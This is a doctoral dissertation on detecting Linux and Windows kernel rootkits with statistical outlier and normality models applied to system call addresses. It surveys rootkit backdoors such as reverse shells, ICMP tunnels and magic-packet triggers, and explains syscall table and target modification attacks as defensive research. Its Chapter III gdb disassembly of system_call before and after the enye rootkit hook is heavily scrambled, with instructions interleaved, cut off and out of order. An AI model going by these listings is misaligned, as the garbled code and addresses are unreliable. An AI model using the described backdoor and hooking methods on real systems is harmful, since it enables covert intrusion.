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ABSTRACT 
 
 

METHODS FOR DETECTING KERNEL ROOTKITS 
 
 

Douglas R. Wampler 
 
 

November 12, 2007 
 
 

 Rootkits are stealthy, malicious software that allow an attacker to gain and 

maintain control of a system, attack other systems, destroy evidence, and decrease the 

chance of detection.  Existing detection methods typically rely on a priori knowledge and 

operate by either (a) saving the system state before infection and comparing this 

information post infection, or (b) installing a detection program before infection.   This 

dissertation focuses on detection using reduced a priori knowledge in the form of general 

knowledge of the statistical properties of broad classes of operating system/architecture 

pairs.   Four new approaches to rootkit detection were implemented and evaluated. 

 A general distribution model is employed against kernel rootkits utilizing the 

system call table modification attack.  Using approaches from the field of outlier 

detection, this approach successfully detected four different rootkits, with no false 

positives.  Scalability is, however, an issue with this approach.   A second, normality-

based approach was investigated for use against rootkits infecting systems via the system 
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call table modification attack.  This approach was partially successful, but did generate 

false positives in 0.35% of cases.    

  The general distribution model was then applied to rootkits infecting 

systems via the system call target modification attack.  This dataset is dramatically larger, 

including disassembled memory addresses from the entire kernel.  Finally, a modified 

version of the normality based approach proved effective in detecting kernel rootkits 

infecting the kernel via the system call target modification attack.  This approach 

capitalizes on the discovery that system calls are loaded into memory sequentially, with 

the higher level calls, which are more likely to be infected by kernel rootkits loaded first, 

and the lower level calls loaded later.   In the single case evaluated, the enyelkm rootkit, 

neither false positives nor false positives were indicated.   

 As a final evaluation, these techniques were applied to the Microsoft Windows 

operating systems.  The Windows equivalent of the system call table, the system service 

descriptor table (SSDT), appears to be almost perfectly normally distributed.  A Windows 

rootkit employing the system call table modification attack was detected using the 

general distribution and ‘assumption of normality’ models.   
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CHAPTER I 
 

INTRODUCTION 
 
 
 

 Nearly everyone has observed the seemingly unlimited flaws and vulnerabilities 

inherent in the protocols, operating systems, applications, and other software that 

constitutes modern computing environments.  By taking advantage of these flaws, 

attackers can assume control of systems, steal data, attack other systems, and general 

wreak havoc.  Computing technology has simply advanced too quickly for security 

technology to keep up and the reality is that today’s computing environments are 

inherently hackable [1]. 

 Modern computer security efforts are primarily concerned with the prevention of 

attacks, the detection of attacks or attempted attacks when they occur, and recovery from 

successful attacks [2].  Prevention entails activities such as running secure versions of 

popular operating systems, disabling services with known vulnerabilities or weaknesses, 

and installing specialized software or hardware designed to prevent successful attacks.  

Detection of successful or attempted attacks is covered in a broad field known as 

intrusion detection, which can further be divided into network intrusion detection and 

host based intrusion detection.  Recovery from successful attacks includes those actions 

taken to restore the system to an operational state, and usually entails restoring data and 

applications from backup media [3]. 
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 Network intrusion detection is typically conducted using a sniffing tool such as 

Snort [4].  Network activity is typically saved and later analyzed for anomalous behavior 

and attack signatures.  Host based intrusion detection is typically accomplished using 

host based security applications such as Tripwire [5].  There are many applications for 

use in both network and host based intrusion detection.  There also exist many programs 

for detecting rootkits on host systems.   

 A primary concern of attackers everywhere is not only how to gain privileged 

access to a system, but also how to keep it.  In order to keep privileged access, the 

attacker must conceal his, or her, activities from the system administrator and other 

legitimate users of the system in question.  Over time, concealment of illicit activities has 

evolved from the manual editing of log files, to the development of simple tools for this 

and similar purposes, culminating in the development of rootkits ranging from the simple 

to the Byzantine.   

 A rootkit is a method by which hackers maintain control of a compromised 

system, attack other systems, destroy evidence, and decrease the chance of being detected 

by system administrators [6]. The first rootkits were detected on SunOS machines in the 

early 1990s.  Since then, a “projectile/armor” race has erupted between those trying to 

develop/detect rootkits [1;7].  A rootkit is essentially a set of software tools employed by 

an intruder after gaining unauthorized, privileged access to a system. Rootkit software 

has three primary functions: (1) to maintain access to the compromised system; (2) to 

attack other systems; and (3) to conceal evidence of the attacker's activities [7]. 

 In the grand scheme of computer security, rootkit detection fits well into the area 

of host based intrusion detection.    Effective intrusion detection includes the collection of 
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information about intrusion techniques that can be used to improve methods of intrusion 

detection [2].  Why conduct further research into rootkit detection when there already 

exist many applications for this purpose?  In all current techniques for detecting Linux 

rootkits, substantial a priori knowledge about the specific system under observation is 

required.  Either (a) some application must be installed when the system is deployed, as is 

typical with host based intrusion detection, or (b) some system metrics must be saved to a 

secure location when the system is deployed.  In a perfect world, this would not present a 

problem, but in reality, system administrators are busy people and the time, effort and 

expertise required for these activities is often not available.   

 The purpose of this research is to detect rootkits using a more mathematically and 

statistically rigorous method, while requiring less specific a priori knowledge of any 

given system.  However, it should be noted that it will still be necessary to have some  a 

priori knowledge of general systems of the same type under observation.  In particular, 

information about the distribution of system calls is needed.  I most operating systems 

this does not appear to be normally distributed, which focused most initial work in this 

dissertation on general distribution models.  However, in certain special cases, a 

normality assumption is justified.  This research effort will be concentrated on two 

versions of one specific operating system using two different hardware platforms, 

specifically Linux kernel versions 2.4.27 and 2.6.8.  Linux kernel version 2.4.27 will be 

tested on Intel 32 bit and SPARC 64 bit architectures, while Linux kernel version 2.6.8 

will test tested only on an Intel 32 bit architecture.   

 In its more than twenty year history, UNIX has changed and evolved into many 

different flavors and releases.  These changes include the introduction of UNIX into 
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University environments, and the advent of BSD, System V, The Open Software 

Foundation, Posix, and several secure UNIX variants.  During this time, many 

vulnerabilities and methods of attack have been discovered and utilized, but eighty 

percent (80%) of all security violations are permission based [8].   

 

1.1 Dissertation Organization 

 This chapter provided a background and introduction to Unix rootkits, problem 

statement, motivation for this research, and the contribution made by this dissertation.   

Chapter two provides an overview and history of Unix rootkits (including a detailed 

discussion of backdoors commonly provided by rootkits), a classification of rootkits 

based on their methods of attack, and a discussion of the state of contemporary Unix 

rootkit detection applications and methodologies.   

 Chapter three details the primary attack vectors of contemporary rootkits, which 

fall into three distinct categories.  Chapter four discusses the methodologies which may 

be used to analyze the Unix kernel for rootkit infection, including those techniques used 

in this dissertation.   

 Chapter five includes a detailed discussion and experimental outcomes of a 

general distribution model used for the detection of rootkits using the system call table 

modification attack.  The system call table modification attack is commonly employed by 

loadable kernel module (LKM) rootkits.  Chapter six, similar to chapter five, also 

includes a detailed discussion and experimental outcomes of a ‘normality’ based model 

used for the detection of the system call table modification attack.  Beginning in chapter 

seven, the focus changes to the detection of the system call target modification attack 
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using a ‘known distibution’ model.  The system call target modification attack is 

commonly employed by runtime kernel patching rootkits, and instead of modifying the 

system call table, directly modifies the system call instructions in memory.   

 Chapter eight demonstrates an innovative, ‘normality’ based approach for 

detecting the system call target modification attack.  This chapter includes a particularly 

insightful discovery regarding the order of appearance in memory of the system calls 

themselves.  Without this key observation, this detection method would not be effective.   

 While this research has focused on the detection of Linux kernel rootkits, chapter 

nine explores the possibility of using the general distribution model to detect Windows 

kernel rootkits that utilize system service descriptor table (SSDT) modification attack.  

Finally, chapter ten  discusses the conclusions that can be drawn from this research, and 

examines directions for future research in this field. 
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CHAPTER II 

 

LITERATURE REVIEW 
 
 
 

 In the following section on literature review, a general overview of rootkits will 

be presented including history and a discussion of the many backdoors techniques 

utilized by various rootkits in section 2.1.  Section 2.2 covers rootkit classification, with 

special attention given to kernel rootkits.  Section 2.3 includes a detailed discussion of 

existing rootkit prevention and detection techniques, and section 2.4 discusses broad 

categories of outlier analysis techniques that may be useful in detecting rootkit infections. 

 

2.1 Rootkits 

 All of the dates presented herein are the dates upon which the information became 

publicly available. This software may have been available in the underground at a much 

earlier time [7]. 

 The earliest rootkits have existed since approximately the early 1990s [1].  As 

early as 1989, some components (e.g., log file cleaners) of known rootkits were found on 

compromised systems. The first early SunOS rootkits (for SunOS 4.x) were detected in 

1994. In 1996, the first Linux rootkits publicly appeared. On April 9th, 1997, Linux 

Kernel Module (LKM) rootkits were proposed in the hacker magazine Phrack by Halflife 

[7]. 
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 In 1998, Non-LKM kernel patching was proposed by Silvio Cesare in his 

landmark paper Runtime Kernel Patching[9].  He points out that it is possible to intrude 

into kernel memory without loadable kernel modules by directly modifying the kernel 

image (usually /dev/mem) [7].  In 1999, the first Adore LKM rootkit was released by 

TESO. This rootkit alters kernel memory via Loadable Kernel Modules. In 2000, the 

T0rnkit v8 libproc library Trojan was released. Library Trojans (usually libproc.a or 

glibc/libc [10]) can filter certain processes from being seen. Statically linked applications, 

or looking directly at /proc, will typically reveal the hidden process(es) [7]. 

 In 2001, KIS Trojan and SucKit released. These rootkits alter kernel memory not 

by using Loadable Kernel Modules, but by directly modifying the kernel image (usually 

in /dev/mem). In 2002, Sniffer backdoors start to show up in rootkits. Maintaining 

access is typically accomplished using backdoors [7].  Rootkits came to public awareness 

in 2005, during the Sony CD copy protection scandal, wherein Sony placed rootkits on 

Microsoft Windows PCs when a CD was played.  Sony did not mention this in the CD or 

packaging, mentioning only “security rights management measures” [11].   

 As mentioned above, maintaining access to a compromised system is typically 

accomplished by using one or several commonly known backdoor methods [1]. 

In the well known paper, An Overview of Unix Rootkits [7], Chuvavkin outlines the many 

backdoor techniques available to the rootkit developer.  These backdoor techniques 

include: 

 

Telnet/Shell – An attacker may simply connect to a compromised system using telnet or 

an inetd spawned shell on a high port. This is a very unsophisticated method. 
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Secure Shell – A Secure Shell connection on a high port is a common method employed 

by less sophisticated attackers. Custom Secure Shell daemons also may not even leave 

evidence in host log files. The netstat command, or an external scan by nmap, will reveal 

this technique. 

 

CGI Shell - It is possible that a rootkit may deploy a hostile CGI script during 

installation. This is often considered a backdoor of “last resort”. The script may be able to 

run commands as “nobody” or “httpd” and display the results in the browser. Local 

exploits will need to be used to once again obtain root. 

 

Reverse Telnet/Shell – In this case the compromised machine initiates an outbound 

connection to the attacker's machine. This technique has the advantage of possibly being 

able to circumvent firewalling efforts (i.e., outbound connections are typically allowed). 

Observant system administrators may find it odd that their servers are initiating unusual 

outbound connections. 

 

ICMP Telnet – It has been said that everything can be tunneled over everything else. 

ICMP control messages can be made to carry payloads like command line 

sessions. It is not uncommon for ICMP traffic to be allowed through firewalls for 

network performance and monitoring reasons. Backdoors like these will not 

be discovered using commands like netstat and nmap. However, ICMP backdoor 

activities are visible to network intrusion detection systems. 
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Reverse Tunneled Shell – In most environments, web browsing via port 80 TCP is 

allowed and typically unrestricted. In this case the command line session is 

carried across the HTTP protocol between the attacker and the compromised host. 

 

Magic Packet Activated Backdoor - This backdoor will open a port, execute a single 

command, initiate a session, or perform some other action when it receives a single magic 

packet. The packet will possess a specific TCP sequence number or some other 

inconspicuous property. 

 

Sniffer Based Backdoor - Instead of opening a port and listening, this backdoor sniffs 

network traffic instead. Upon receiving a specific packet (not necessarily directed to the 

compromised host, but instead observed on the network only), the Sniffer Based 

Backdoor performs and action and sends a response using a faked source IP address. This 

method is extremely stealthy and very difficult to detect [7;12]. 

 

Covert Channel Backdoor – If one were to create their own signal system and combine 

this with any known network protocol, it would probably never be detected 

using existing methods. The number of variables and large number of fields in existing 

network protocols and applications is very large. This method is provably undetectable. 

  

 It is worth re-emphasizing that some of these backdoor techniques (sniffer-based 

backdoor, covert channel backdoor) can be extremely stealthy or even 
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undetectable [7]. This suggests that even after discovering and removing a rootkit, a 

system administrator would be well advised to conduct a full system reinstall in order to 

be sure they have eradicated all existing backdoors on the suspect system. Fortunately, no 

known rootkits utilize the provably undetectable covert channel backdoor. 

 Tools for attacking other systems, both locally and remotely, began appearing in 

rootkits during the late 1990s.  Local attack tools exist primarily for the purpose of 

recapturing root access from vigilant system administrators. Tools of this kind typically 

include local password sniffers or crackers. 

 Remote attack tools typically include a basic network sniffer to eavesdrop and 

obtain username/password pairs on the same local area network where clear text 

protocols are used. Also in this class of tools are various network scanners and automated 

exploit tools (autorooters). As an example, an attacker may scan a range of IP addresses 

for vulnerable web servers, and run an autorooter to gain root privileges on those 

vulnerable hosts. 

 Most rootkits contain at least one or more denial of service tools. Some systems, 

in fact, contain system commands that may be used to flood other hosts (e.g., the spray 

command in Solaris). Attackers may use the DoS tools against their enemies or during 

their use of Internet Relay Chat [6]. 

 The third and final area of rootkit functionality is the elimination of evidence. 

Ideally a rootkit strives to eliminate evidence generated during the initial attack, and 

prevent the generation of any new evidence.  What this means, in reality, is the careful 

editing of various log files, audit records, shell histories, and application log files [12]. 
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There are a large number of well known utilities that exist for this purpose. However, no 

known rootkits utilize any form of secure or reliable data removal – yet. 

 Preventing the generation of further evidence usually entails terminating or 

modifying the syslog daemon. Attackers also typically take action to ensure that shell 

history files and application log files are not generated [7]. 

 

2.2  Rootkit Classification 

 There are three known categories of rootkits. The first and simplest type are 

binary rootkits, composed of modified, malicious copies of system binaries that are 

placed on the host system. A logical second step in the evolution of the rootkit is the 

library rootkit, in which a modified and malicious copy of a system library is placed on 

the host system. These first two categories of rootkit are relatively easy to detect. 

 The third, and most insidious, category of rootkit is the kernel rootkit. There are 

two subcategories of kernel rootkits, loadable kernel module rootkits (LKM rootkits) and 

kernel rootkits that directly modify the memory image in /dev/mem (kernel patched 

rootkits) [13].  Kernel-level rootkits attack the system call table by three known 

mechanisms [14]. 

 

System Call Table Modification. The attacker modifies the addresses stored in the system 

call table.  The attacker, having written custom system calls [15] to replace several 

system calls within the kernel, changes the addresses in the system call table to point to 

the new, malicious custom system calls.   
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System Call Target Modification. In this case, the attacker overwrites the legitimate 

targets of the addresses in the system call table with malicious code.  The system call 

table does not need to be changed.  The first few instructions of the system call function 

is overwritten with a jump instruction to the malicious code.  

 

System Call Table Redirection. In this type of rootkit implementation, the attacker 

redirects references to the entire system call table to a new, malicious system call table in 

a new kernel address location. This method can pass many currently used detection 

techniques [14].  Upon further investigation, it appears that the system call table 

redirection attack is simply a special case of the system call target modification attack 

[16].  The attacker simply modifies the system_call function, modifying the address of 

the system call table therein, which handles individual system calls.   

 

2.3  Rootkit Detection 

 The first rootkits were simply tar archives of system binaries that were likely to be 

executed by suspicious system administrators of compromised systems. These binaries 

were typically, but not limited to, binaries such as netsat, kill, killall, passwd, 

ps, pstree, sendmail, su, syslogd, and top. These binaries would be replaced 

with modified copies created by the attacker in order to provide remote access, local 

access, process hiding, connection hiding, file hiding, and user activity hiding.  These 

application rootkits are easily discovered by keeping secure copies of critical system 

binaries on read only removable media, checking binary file sizes, using checksums, 

looking at the /proc file system directly, and so forth [1]. 
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 Library rootkits, such as T0rn, replace the system library libproc.a with a 

special modified library in order to maintain stealth. System binaries such as ps and top 

rely upon this library to relay information from the kernel space. Using a modified library 

allows one to avoid changing system binaries but still selectively filter file and process 

lists. Once again, looking directly at the /proc file system will reveal this attack.  It is 

also relatively straightforward to modify the glibc/libc main system library to filter data 

before it is sent to the kernel. Any application linked with this library (most applications) 

will report false information. This attack may be avoided by using statically linked 

applications.  The UNIX commands ltrace, strace, and truss can be used to trace 

library and kernel calls [7]. 

 The first kernel rootkits appeared as malicious loadable kernel modules (LKM). 

Processes under UNIX run either in user space or kernel space.  Application programs 

typically run in user space and hardware access is typically handled in kernel space.  If an 

application wants to read from a disk, it uses the open() system call and asks the kernel to 

open a file.  Loadable kernel modules run in kernel space and have the ability to modify 

these system calls. If there is a malicious loadable kernel module in kernel space, the 

open() system call will open the file requested unless the name of the file is “rootkit” 

[1;7]. 

 Many system administrators countered this threat by simply disabling the loading 

of kernel modules [1].  However, Silvio Cesare recently published a paper proposing a 

method for modifying system calls by directly accessing the kernel memory image in 

/dev/mem [9].  Several rootkits have since been discovered that successfully utilize 

this method.   
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 Earlier rootkits such as binary and library rootkits may be detected using 

relatively simple countermeasures. Binary rootkits may be detected by simply checking 

the file size of system binaries or using checksums or hashes of the system binaries.  

Library rootkits may be detected by comparing file sizes, checksums, or hashes of the 

library files under suspicion as well as by using statically linked applications. Both binary 

and library rootkits may be easily detected by looking directly at the /proc file system 

[1;7]. 

 Host based intrusion detection systems (Tripwire and Samhain being the most 

well known) are still a relatively straightforward and effective way of detecting known 

rootkits [1]. Samhain also includes functionality to monitor the system call table, the 

interrupt description table, and the first few instructions of every system call [7]. 

 The Linux Intrusion Detection System (LIDS) is a kernel patch that must be 

applied to kernel source code, and requires a rebuild of the kernel.  LIDS has the 

capability to offer protection against kernel rootkits through the following mechanisms:  

sealing the kernel from modification; prevent loading/unloading of kernel modules; 

immutable and read-only file attributes; locking of shared memory segments; process ID 

manipulation protection; protection of sensitive /dev/ files; and port scan detection 

[12].  LIDS appears to be more rootkit prevention tool than rootkit detection tool.  As 

with all other techniques discussed so far, LIDS requires either (a) some action be taken 

in advance to thwart rootkit activity, or (b) some a priori knowledge of the specific 

system under observation.   

 One detection method proposed by Sebastian Krahmer from SuSE in the past was 

to monitor and log any program execution when execve() calls were made.  Combine this 
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with remote logging, and one could maintain a record of program execution on a system.  

With a Perl script to monitor the log, one could perform actions such as sending alarms or 

killing processes in order to stop the intruder [17]. 

 Applications do exist for the purpose of detecting rootkits (including kernel 

rootkits).  These include several tools available for download including chkrootkit, kstat, 

rkstat, St. Michael, scprint, and kern_check  [11;18-24].  Chkrootkit is a user-space 

signature based rootkit detector , while several others (kstat, rkstat, and St. Michael) are 

kernel-space signature based detectors.  These tools typically print the addresses of 

system calls directly from /dev/kmem and compare them to the entries in the 

system.map file [12].  This approach relies upon some trusted source of a priori 

knowledge of the specific system in question.  Chkroot, kstat, rkstat, and St. Michael, as 

signature based detectors, suffer from the usual shortcomings of signature based 

detection.   

 Scprint and kern_check are utilities for printing and/or checking the addresses of 

the entries in the system call table.  Several of these utilities have proven quite useful in 

attempts to verify the results of detection attempts against various categories of kernel 

rootkits. 

 Other researchers have proposed to count the instructions used in system calls, 

comparing them to measurements taken from a “clean” system [25].  This approach 

seems very promising, but requires a kernel patch, installation of an application, and a 

priori knowledge of the instruction count of each system call on the specific system in 

question.  
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 Further efforts in the field of rootkit detection include static analysis of loadable 

kernel module binaries [26].  The kernel exports a well-defined interface for use by 

kernel modules, and LKM rootkits typically violate this interface.  By carefully analyzing 

this interface, one may extract an allowed set of kernel modifications.  Using this set of 

allowed kernel modifications, a researcher may statically analyze a loadable kernel 

module binary to determine whether it violates this allowable set of kernel modifications.  

This technique seems very promising for the detection of LKM rootkits, but the authors 

do not offer any alternatives for detecting kernel patched rootkits.   

 Until recently, efforts toward rootkit detection have been software based.  College 

Park, Maryland based Komoku Inc. offers a low-cost, add-in PCI card that monitors a 

host system’s memory and file system [27;28].  However, Copilot uses “known good” 

MD5 hashes of kernel memory and must be installed and configured on a “clean” system 

in order to detect the future deployment of a rootkit [29].  Spafford and Carrier have 

presented a technique in which binary rootkits were detected using an outlier analysis 

technique on the file system in an offline forensic analysis situation [30].  The research 

presented in this paper focuses on the detection of kernel rootkits through memory 

analysis. 

 By default, the Linux operating system may access up to 4 Gigabytes of virtual 

memory, with memory addresses between 0x00000000 and 0xFFFFFFFF in hexadecimal 

notation.  An upper portion of this memory is allocated for use by the kernel. This upper 

memory area has addresses between 0xC0000000 and 0xFFFFFFFF. Typically, system 

calls will have addresses such as 0xC011D0E1, 0xC013A229, or 0xC010B4D0 [16]. 
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 The symbol _text indicates the first byte of kernel code.  The end of kernel code is 

marked by the presence of the _etext symbol.  The following kernel data is categorized as 

initialized and un-initialized.  The initialized kernel data starts at the symbol _etext and 

ends at symbol _edata.  The un-initialized portion of kernel data starts immediately after 

_etext and stops at symbol _end [31].  Preliminary experiments have shown that LKM 

rootkits create malicious system calls at address locations that exceed the memory value 

of symbol _end – at memory address 0xC041D8A9 or greater.  This data suggests that 

malicious system calls may be detectable through the use of outlier analysis techniques. 

 Whenever a new loadable kernel module (LKM) is loaded, the kernel allocates a 

portion of memory for it usually starting at 0xC8800000. If there exists a system call, 

then, with an address such as 0xC8801A12 or higher, this implies that a system call has 

been replaced with a system call from a loadable kernel module. This is highly suspect, 

and strongly suggests the presence of an LKM kernel rootkit [16].  It may be possible to 

make mathematical or statistical observations about these memory addresses, and 

produce a more formal, reliable assessment of the presence of a rootkit without a priori 

knowledge about the specific system under scrutiny.   

 Whether this method will also succeed in detecting kernel patched rootkits that 

directly modify kernel memory in /dev/mem remains unknown.  There are well known 

tools for analyzing memory and the system call table. This may be accomplished using 

common system tools such as the GNU debugger in conjunction with the system.map 

file or the nm system binary [16;31]. 
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2.4 Selected Statistical Methods 

 Existing approaches to detecting outliers can be classified into three broad 

categories.  The first category is distribution-based, which entails fitting the data to the 

best known underlying distribution. This approach is univariate in nature, and requires 

testing to find a distribution to fit the data [32].  Techniques that fit into this class were 

used to obtain very promising preliminary results, and will be discussed later.   

 The second category is depth-based, which requires that the data be organized 

into some k-dimensional space.  Based on some definition of depth, the data are 

organized into layers, and it is expected that shallow layers are more likely to be outliers 

than are deep objects.  This approach avoids the problem of distribution fitting, and 

allows for multi-dimensional data to be processed.  However, depth-based approaches do 

not scale well as the dimensionality k increases [32].  This approach relies on the 

computation of convex hulls, which is defined as the set of points X in the real vector 

space V is the minimum convex set containing X.  This implies that the data set would 

need to have minimum dimensionality of two.   

 The third and final category is distance based, and existing work in this area 

focuses on large, multidimensional data sets.  There are several distance and density 

based approaches for the detection of outliers.  These approaches will be discussed, along 

with more conventional methods of outlier analysis.   

 Breunig et al. [33] introduce a new notion of outliers which bases their detection 

on the same theoretical foundation as density-based cluster analysis.  This concept of an 

outlier is ‘local’ in the sense that the outlyingness of some object is determined by 

considering the clustering structure of some bounded neighborhood of the object.   
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The researchers show that this approach is more effective for detecting different types of 

outliers than previous approaches.  Finally, they show that outliers can be found nearly 

“for free” if one is willing to perform a cluster analysis on the data set [33].  In related 

work, Breunig et al. contend that in many cases, it is more meaningful to assign to each 

object a degree of outlyingness.  This metric is called the local outlier factor (LOF) of an 

object.  The researchers go on to show that LOF enjoys many desirable properties and 

can be used to find outliers that cannot be identified using other existing approaches [34]. 

 Knorr et al. [35] present three different algorithms for finding distance-based 

outliers in large, multidimensional datasets.  The first two algorithms both have 

complexity O(k N2), where k is the dimensionality of the dataset and N being the number 

of objects in the dataset.  These first two algorithms readily support databases with many 

more than two attributes.  Finally, the researchers present a third cell-based algorithm for 

datasets that are mainly disk-resident, and guarantees no more than three passes over the 

dataset [35].  

 Additionally, two different groups of researchers have proposed methods for 

finding the top-n outliers from a given dataset.  Ramaswamy et al. presents a method for 

partitioning the data, and then pruning the partitions as soon as it can be determined that 

they cannot contain outliers [36].  Jin et al. also present a novel method to efficiently find 

the top-n outliers using an efficient micro-cluster based local outlier mining algorithm 

[37].   

 Depth-based outlier detection does not seem to lend itself well to rootkit 

detection, because it is based on the computation of convex hulls, which requires a set of 

points, that is, a data set in two dimensions.  In this research, our data set has 
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dimensionality of one – memory addresses only.  The distance and density based 

approaches investigated thus far do not seem to be well suited to this research for the 

following reasons:  They are well suited to extremely large datasets with high 

dimensionality; they typically involve a significant number of kth nearest neighbor 

searches and hold the possibility of being computationally expensive; many rely on 

clustering, which typically requires multidimensionality; and some assume the presence 

of top-n outliers, and in the field of rootkit detection there may be no outliers. 
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CHAPTER III 

 

METHODS OF ROOTKIT OPERATION 
 
 
 

 As mentioned earlier, Linux Kernel rootkits attack the kernel via three known 

methods.  The first attack simply modifies the system call table itself and is known as the 

system call table modification attack.  The second attack, known as the system call target 

modification attack, actually modifies the individual system calls themselves.  The third 

and final attack,  known as the system call table redirection attack, redirects the system 

call table itself to a new, malicious system call table located elsewhere in memory.  This 

is accomplished by using the system call target modification attack against the 

system_call system call function, and as such as simply a special case of the system call 

target modification attack.  The attacks just discussed will now be described in additional 

detail.  Section 3.1 and 3.2 will discuss the system call table modification attacks and the 

system call target modification/system call redirection attacks respectively, including 

relevant examples.  Section 3.3 includes a further detailed analysis of the malicious code 

discovered in Section 3.2.   

 

3.1  The System Call Target Modification Attack 

 In the system call table modification attack, an attacker simply changes the 

addresses stored in the system call table.  The attacker, having written custom system 

 21



calls [15] to replace several system calls within the kernel, changes the addresses in the 

system call table to point to these new, malicious custom system calls.  Experience has 

shown that the system call table modification attack has typically been conducted using 

loadable kernel modules and seems most prevalent in Linux kernel version 2.4 rather than 

kernel version 2.6.  An overview of this attack is presented in Figure 3.1, below. 

 

 

Figure 3.1:  system call table modification attack 
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 An example of the system call table modification attack follows.  Appendix 

displays the addresses for all 252 addresses from the system call table of a 32-bit Intel 

architecture Linux kernel 2.4.27 system before the deployment of a rootkit employing the

system call table modification attack.   

  Appendix E.2 contains the memo

E.1 

 

ry addresses of the system call table in an Intel 

Architecture 32-bit Linux kernel 2.4.27 machine after the deployment of the Knark Linux 

Kernel Module rootkit, and this particular rootkit utilizes the system call table 

modification attack.  Memory addresses than have been replaced by the rootkit are 

presented in boldfaced font.   

 

3.2  The System Call Target Modification/System Call Table Redirection Attack 

 In the system call target modification and system call redirection attacks, the 

attacker overwrites legitimate system calls in the system call table with malicious code.  

These attacks have the advantage of not having to change the system call table.  Instead, 

the first few instructions of the system call function being attacked is overwritten with a 

jump instruction to the malicious code located higher in memory.  The system call 

redirection attack is essentially the same as the system call target modification attack, in 

that the attacker modifies the system_call function, modifying the address of the system 

call table located therein, which handles individual system calls.  An overview of this 

attack is presented in Figure 3.2, below. 
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Figure 3.2:  system call target modification and system call table redirection attacks 

e 

he system call table redirection attack used 

 The system call target modification and system call table redirection attacks make 

use of runtime kernel patching [9] in order to actually change instructions within th

system calls themselves.  An example of t

against an Intel Architecture 32-bit Linux kernel 2.6.8 system will now be presented.   
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The following code contains the disassembled instructions for the system_call system call 

sed by all other 

gdb) disass system_call 

0xc01040dc <system_call+0>:     push   %eax 

     push   %ds 

8>:     push   %edx 
0e5 <system_call+9>:     push   %ecx 

c010

0xc01040ec <system_call+16>:    mov    %edx,%ds 

0xc01040fc <system_call+32>:    jae    0xc01041d4 <syscall_badsys> 

 

s: 

Dump of assembler code for function syscall_trace_entry: 
 

e_entry+12>:    call   0xc0108250 
 <do_syscall_trace> 

4(%esp),%eax 
11c,%eax 

  0xc0104108 

   0xc0104113 

  %esi,%esi 

function before the deployment of a rootkit.  System_call is the handler u

system call functions. 

(
Dump of assembler code for function system_call: 

0xc01040dd <system_call+1>:     cld 
0xc01040de <system_call+2>:     push   %es 
0xc01040df <system_call+3>:
0xc01040e0 <system_call+4>:     push   %eax 
0xc01040e1 <system_call+5>:     push   %ebp 
0xc01040e2 <system_call+6>:     push   %edi 

+7>:     push   %esi 0xc01040e3 <system_call
0xc01040e4 <system_call+
0x
0x
c0104

40e6 <system_call+10>:    push   %ebx 
0xc01040e7 <system_call+11>:    mov    $0x7b,%edx 

0xc01040ee <system_call+18>:    mov    %edx,%es 
0xc01040f0 <system_call+20>:    mov    $0xffffe000,%ebp 
0xc01040f5 <system_call+25>:    and    %esp,%ebp 
0xc01040f7 <system_call+27>:    cmp    $0x11c,%eax 

0xc0104102 <system_call+38>:    testb  $0x81,0x8(%ebp) 
0xc0104106 <system_call+42>:    jne    0xc0104170 <syscall_trace_entry> 
End of assembler dump. 
(gdb) q 

 Note that the system_call function calls the syscall_trace_entry function.  Further 

disassembly of the syscall_trace_entry function yields the following instruction

(gdb) disass syscall_trace_entry 

0xc0104170 <syscall_trace_entry+0>:     movl   $0xffffffda,0x18(%esp)
0xc0104178 <syscall_trace_entry+8>:     mov    %esp,%eax 
0xc010417a <syscall_trace_entry+10>:    xor    %edx,%edx 
0xc010417c <syscall_trac

0xc0104181 <syscall_trace_entry+17>:    mov    0x2
   $0x0xc0104185 <syscall_trace_entry+21>:    cmp 

    jb   0xc010418a <syscall_trace_entry+26>:
 <syscall_call> 
0xc0104190 <syscall_trace_entry+32>:    jmp 
 <syscall_exit> 
0xc0104192 <syscall_trace_entry+34>:    mov  
End of assembler dump. 
(gdb) Quit 
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 Further note that the syscall_trace_entry function calls the syscall_call  function.  

wing instructions: 

(,%eax,4) 
sp) 

tem call table at last.  In the disassembled instructions of 

syscall_call, observe that the instruction “call   *0xc031b260(,%eax,4)”, which is 

the address of the system call table on the test system.  Armed with this information, one 

may deduce that any attacker wishing to perform the system call table redirection attack 

would need to overwrite some combination of the functions system_call, 

syscall_trace_entry, and perhaps syscall_call.  If the attacker makes use of the enye linux 

kernel module rootkit, which employs runtime kernel patching and attacks the 

 

all function 

: 

di 
7>:     push   %esi 

0xc01040e6 <system_call+10>:    push   %ebx 

0xc01040f5 <system_call+25>:    and    %esp,%ebp 

0xc01040fd <system_call+33>:    adc    $0x0,%edx 

Again, further disassembly of the syscall_call  function yields the follo

(gdb) disass syscall_call 
 Dump of assembler code for function syscall_call:

0xc0104108 <syscall_call+0>:    call   *0xc031b260
0xc010410f <syscall_call+7>:    mov    %eax,0x18(%e
End of assembler dump. 
(gdb) 
 

Now it comes to the sys 

syscall_trace_entry and system_call system call functions, the following effects from the

attack may be observed.  First, note the following disassembled system_c

after enye rootkit infection:   

Dump of assembler code for function system_call
0xc01040dc <system_call+0>:     push   %eax 
0xc01040dd <system_call+1>:     cld 
0xc01040de <system_call+2>:     push   %es 
0xc01040df <system_call+3>:     push   %ds 
0xc01040e0 <system_call+4>:     push   %eax 
0xc01040e1 <system_call+5>:     push   %ebp 

+6>:     push   %e0xc01040e2 <system_call
c01040e3 <system_call+0x

0xc01040e4 <system_call+8>:     push   %edx 
0xc01040e5 <system_call+9>:     push   %ecx 

0xc01040e7 <system_call+11>:    mov    $0x7b,%edx 
0xc01040ec <system_call+16>:    mov    %edx,%ds 
0xc01040ee <system_call+18>:    mov    %edx,%es 
0xc01040f0 <system_call+20>:    mov    $0xffffe000,%ebp 

0xc01040f7 <system_call+27>:    push   $0xd087bf65 
0xc01040fc <system_call+32>:    ret 
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0xc0104100 <system_call+36>:    add    %al,(%eax) 

0xc0104106 <system_call+4
End of assembler dump. 

0xc0104102 <system_call+38>:    testb  $0x81,0x8(%ebp) 
2>:    jne    0xc0104170 <syscall_trace_entry> 

Clearly the instructions for the system_call system call function have been altered, 

ecifically with a new address – 0xd087bf65.  This address replaces the normal call 

ction to handle non-existent or bad system calls.  The 

call_trace_entry: 
0xc0104170 <syscall_trace_entry+0>:     movl   $0xffffffda,0x18(%esp) 

x 
race_entry+10>:    xor    %edx,%edx 
race_entry+12>:    call   0xc0108250 

race_entry+17>:    mov    0x24(%esp),%eax 
race_entry+21>:    push   $0xd087bf65 

    ret 
:    (bad) 
:    js     0xc010418d 

:    ljmp   *%ebx 
